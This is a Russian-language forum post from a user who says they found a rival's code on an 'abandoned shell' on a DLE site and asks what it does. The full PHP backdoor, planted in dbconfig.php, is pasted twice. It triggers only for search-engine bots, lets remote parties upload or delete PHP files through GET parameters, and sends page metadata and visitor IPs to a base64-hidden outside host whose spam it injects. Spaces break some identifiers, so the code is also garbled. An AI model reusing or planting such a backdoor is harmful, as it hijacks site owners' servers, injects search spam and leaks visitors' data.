spiderbuber
13.09.2012, 09:37
Сегодня на одном брошенном шелле заметил соседа.
Движок ДЛЕ, код был в dbconfig.php
Интересует, что делает его код?
PHP:
functionget_content_code($a,$query=false,$type=fal se){
if($type){
$frt=$a.$query;
}
else{
$frt=base64_decode($a).$query;
}
$ret=false;
if( @function_exists('curl_in it') ){
if($curl= @curl_ini t() ){
if( !@cur l_setopt($curl,CURLOPT_URL,$frt) ) return$ret;
if( !@cur l_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) re turn$ret;
if( !@cur l_setopt($curl,CURLOPT_CONNECTTIMEOUT,30) ) retu rn$ret;
if( !@cur l_setopt($curl,CURLOPT_HEADER,false) ) return$re t;
if( !@cur l_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return$ret;
$ret= @curl_exec($curl);
@curl_clos e($curl);
}
}
else{
$u=parse_url($frt);
if($fp= @fsockopen( $u['host'],!empty($u['port']) ?$u['port'] :80) ){
$headers='GET '.$u['path'] .'?'.$u['query'] .' HTTP/1.0'."\r\n";
$headers.='Host: '.$u['host'] ."\r\n";
$headers.='Connection: Close'."\r\n\r\n";
@fwrite($fp, $headers);
$ret='';
while( !f eof($fp) ){
$ret.= @fgets($fp,1024);
}
$ret=substr($ret,strpos($ret,"\r\n\r\n") +4);
@fclose($f p);
}
}
return$ret;
}
functionfiltr($data){
returnstr_replace("\r\n","",trim(stripcslashes(preg_replace("']*>'si",'',$data))));
}
functionsrt_rep($id){
$test=str_replace("\r\n","",$id);
$test=str_replace(" ","::::",$test);
returnfiltr($test);
}
functionget_n_link($content){
preg_match_all("']*>'si",$content,$all);
foreach($all[1] as$val){
$link=explode("/",$val);
$host=preg_replace('/^www\./','',$_SERVER["HTTP_HOST"]);
$h_link=preg_replace('/^www\./','',$link[0]);
if($h_link!==$host){
$name[$h_link] =$h_link;
}
}
returncount($name);
}
functiontitle_desc($content){
global$MERS;
if(preg_match_all("'\]*>'si",$content,$math)){
foreach($math[0] as$key=>$val){
if(strstr($val,"description")){
preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);
}
if(strstr($val,"keywords")){
preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);
}
if(strstr($val,"Content-Type") orstrstr($val,"content-type")){
preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);
}
}
}
if(preg_match("']*>(.*?)]*>'si",$content,$pre_title)){
if(strstr($pre_title[1],'»'))
preg_match("'(.*?)»'si",$pre_title[1],$MERS[3]);
else$MERS[3][1] =$pre_title[1];
}
}
functionget_asp(){
global$MERS;
$URI=$_SERVER["REQUEST_URI"];
$HOST=$_SERVER["HTTP_HOST"];
if (strstr($_SERVER['HTTP_USER_AGENT'],'Yandex') orstrstr($_SERVER['HTTP_USER_AGENT'],'Google')){
print"\n";
if($_GET['get_onload']){
if(@copy($_GET['get_onload'],ROOT_DIR.$_GET['in'].'.php')) {
@chmod($_GET['get_onload'],ROOT_DIR.$_GET['in'].'.php',0666);
print'';
}
}
if($_GET['get_unload']){
if(@unlink(ROOT_DIR.$_GET['get_unload'].'.php')) print'';
}
$content=get_content_code('aHR0cDovLw==',$HOST.$UR I);
title_desc($content);
$s_temp= @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');
$vs=get_n_link($content);
$temp=get_n_link($s_temp);
$conect='n';
if (strstr($_SERVER['HTTP_USER_AGENT'],'Yandex')){
$conect='y';
}
elseif(strstr($_SERVER['HTTP_USER_AGENT'],'Google')){
$conect='g';
}
if($MERS[2][1] =='UTF-8'or$MERS[2][1] =='utf-8'){
$MERS[3][1] =mb_convert_encoding($MERS[3][1],'windows-1251','UTF-8');
$MERS[1][1] =mb_convert_encoding($MERS[1][1],'windows-1251','UTF-8');
$MERS[0][1] =mb_convert_encoding($MERS[0][1],'windows-1251','UTF-8');
}
$TMP=get_content_code('aHR0cDovL3BvZHN0YXZhLndzL2N vbmVjdC5waHA/dXJsPQ==',$URI.'&host='.$HOST.'&t='.srt_rep($MERS[3][1]).'&k='.srt_rep($MERS[1][1]).'&d='.srt_rep($MERS[0][1]).'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"]);
if($MERS[2][1] =='UTF-8'or$MERS[2][1] =='utf-8'){
$TMP=mb_convert_encoding($TMP,'UTF-8','windows-1251');
}
echo$TMP;
}
}
get_asp();
Движок ДЛЕ, код был в dbconfig.php
Интересует, что делает его код?
PHP:
functionget_content_code($a,$query=false,$type=fal se){
if($type){
$frt=$a.$query;
}
else{
$frt=base64_decode($a).$query;
}
$ret=false;
if( @function_exists('curl_in it') ){
if($curl= @curl_ini t() ){
if( !@cur l_setopt($curl,CURLOPT_URL,$frt) ) return$ret;
if( !@cur l_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) re turn$ret;
if( !@cur l_setopt($curl,CURLOPT_CONNECTTIMEOUT,30) ) retu rn$ret;
if( !@cur l_setopt($curl,CURLOPT_HEADER,false) ) return$re t;
if( !@cur l_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return$ret;
$ret= @curl_exec($curl);
@curl_clos e($curl);
}
}
else{
$u=parse_url($frt);
if($fp= @fsockopen( $u['host'],!empty($u['port']) ?$u['port'] :80) ){
$headers='GET '.$u['path'] .'?'.$u['query'] .' HTTP/1.0'."\r\n";
$headers.='Host: '.$u['host'] ."\r\n";
$headers.='Connection: Close'."\r\n\r\n";
@fwrite($fp, $headers);
$ret='';
while( !f eof($fp) ){
$ret.= @fgets($fp,1024);
}
$ret=substr($ret,strpos($ret,"\r\n\r\n") +4);
@fclose($f p);
}
}
return$ret;
}
functionfiltr($data){
returnstr_replace("\r\n","",trim(stripcslashes(preg_replace("']*>'si",'',$data))));
}
functionsrt_rep($id){
$test=str_replace("\r\n","",$id);
$test=str_replace(" ","::::",$test);
returnfiltr($test);
}
functionget_n_link($content){
preg_match_all("']*>'si",$content,$all);
foreach($all[1] as$val){
$link=explode("/",$val);
$host=preg_replace('/^www\./','',$_SERVER["HTTP_HOST"]);
$h_link=preg_replace('/^www\./','',$link[0]);
if($h_link!==$host){
$name[$h_link] =$h_link;
}
}
returncount($name);
}
functiontitle_desc($content){
global$MERS;
if(preg_match_all("'\]*>'si",$content,$math)){
foreach($math[0] as$key=>$val){
if(strstr($val,"description")){
preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);
}
if(strstr($val,"keywords")){
preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);
}
if(strstr($val,"Content-Type") orstrstr($val,"content-type")){
preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);
}
}
}
if(preg_match("']*>(.*?)]*>'si",$content,$pre_title)){
if(strstr($pre_title[1],'»'))
preg_match("'(.*?)»'si",$pre_title[1],$MERS[3]);
else$MERS[3][1] =$pre_title[1];
}
}
functionget_asp(){
global$MERS;
$URI=$_SERVER["REQUEST_URI"];
$HOST=$_SERVER["HTTP_HOST"];
if (strstr($_SERVER['HTTP_USER_AGENT'],'Yandex') orstrstr($_SERVER['HTTP_USER_AGENT'],'Google')){
print"\n";
if($_GET['get_onload']){
if(@copy($_GET['get_onload'],ROOT_DIR.$_GET['in'].'.php')) {
@chmod($_GET['get_onload'],ROOT_DIR.$_GET['in'].'.php',0666);
print'';
}
}
if($_GET['get_unload']){
if(@unlink(ROOT_DIR.$_GET['get_unload'].'.php')) print'';
}
$content=get_content_code('aHR0cDovLw==',$HOST.$UR I);
title_desc($content);
$s_temp= @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');
$vs=get_n_link($content);
$temp=get_n_link($s_temp);
$conect='n';
if (strstr($_SERVER['HTTP_USER_AGENT'],'Yandex')){
$conect='y';
}
elseif(strstr($_SERVER['HTTP_USER_AGENT'],'Google')){
$conect='g';
}
if($MERS[2][1] =='UTF-8'or$MERS[2][1] =='utf-8'){
$MERS[3][1] =mb_convert_encoding($MERS[3][1],'windows-1251','UTF-8');
$MERS[1][1] =mb_convert_encoding($MERS[1][1],'windows-1251','UTF-8');
$MERS[0][1] =mb_convert_encoding($MERS[0][1],'windows-1251','UTF-8');
}
$TMP=get_content_code('aHR0cDovL3BvZHN0YXZhLndzL2N vbmVjdC5waHA/dXJsPQ==',$URI.'&host='.$HOST.'&t='.srt_rep($MERS[3][1]).'&k='.srt_rep($MERS[1][1]).'&d='.srt_rep($MERS[0][1]).'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"]);
if($MERS[2][1] =='UTF-8'or$MERS[2][1] =='utf-8'){
$TMP=mb_convert_encoding($TMP,'UTF-8','windows-1251');
}
echo$TMP;
}
}
get_asp();